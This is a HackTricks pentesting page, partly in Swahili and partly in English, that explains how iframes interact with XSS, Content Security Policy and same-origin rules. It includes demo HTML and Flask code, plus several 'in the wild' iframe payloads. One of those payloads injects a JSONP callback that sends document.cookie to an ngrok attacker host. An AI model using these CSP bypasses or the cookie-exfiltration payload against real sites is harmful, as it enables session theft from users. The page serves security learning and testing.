Iframes in XSS, CSP and SOP

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Iframes in XSS

Kuna njia 3 za kuonyesha maudhui ya ukurasa ulio kwenye iframe:

Kupitia src ikionyesha URL (URL inaweza kuwa ya asili tofauti au ya asili sawa)
Kupitia src ikionyesha maudhui kwa kutumia itifaki ya data:
Kupitia srcdoc ikionyesha maudhui

Kufikia Parent & Child vars

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>

<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Ikiwa unapata html ya awali kupitia seva ya http (kama python3 -m http.server) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). mzazi hataweza kufikia secret var ndani ya iframe yoyote na ni iframes if2 & if3 pekee (ambazo zinachukuliwa kuwa kwenye tovuti moja) zinaweza kufikia siri katika dirisha la asili. Tazama jinsi if4 inachukuliwa kuwa na asili null.

Iframes na CSP

Tafadhali, angalia jinsi katika bypasses zifuatazo jibu la ukurasa wa iframe halina kichwa chochote cha CSP kinachozuia utekelezaji wa JS.

Thamani ya self ya script-src haitaruhusu utekelezaji wa msimbo wa JS ukitumia protokali ya data: au sifa ya srcdoc. Hata hivyo, hata thamani ya none ya CSP itaruhusu utekelezaji wa iframes ambazo zinaweka URL (kamili au njia tu) katika sifa ya src. Kwa hivyo inawezekana kupita CSP ya ukurasa kwa:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Note how the previous CSP only permits the execution of the inline script. However, only if1 and if2 scripts are going to be executed but only if1 will be able to access the parent secret.

Therefore, it’s possible to bypass a CSP if you can upload a JS file to the server and load it via iframe even with script-src 'none'. This can potentially be also done abusing a same-site JSONP endpoint.

You can test this with the following scenario where a cookie is stolen even with script-src 'none'. Just run the application and access it with your browser:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Mipango Mingine Ilipatikana Katika Porini

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Maudhui ndani ya iframe yanaweza kuwekwa chini ya vizuizi vya ziada kupitia matumizi ya sifa ya sandbox. Kwa kawaida, sifa hii haitumiki, ikimaanisha hakuna vizuizi vilivyowekwa.

Wakati inapotumika, sifa ya sandbox inaweka vizuizi kadhaa:

Maudhui yanachukuliwa kana kwamba yanatoka kwenye chanzo pekee.
Jaribio lolote la kuwasilisha fomu linazuiwa.
Utekelezaji wa scripts unakatazwa.
Upatikanaji wa APIs fulani unazuiliwa.
Inazuia viungo kuingiliana na muktadha mingine ya kuvinjari.
Matumizi ya plugins kupitia <embed>, <object>, <applet>, au lebo zinazofanana yanakatazwa.
Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.

Thamani ya sifa inaweza kuachwa kuwa tupu (sandbox="") ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotenganishwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes katika SOP

Angalia kurasa zifuatazo:

Bypassing SOP with Iframes - 1 Bypassing SOP with Iframes - 2 Blocking main page to steal postmessage Steal postmessage modifying iframe location

Support HackTricks

Angalia mpango wa usajili!
Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

PreviousDOM XSS NextInteger Overflow

Last updated 4 months ago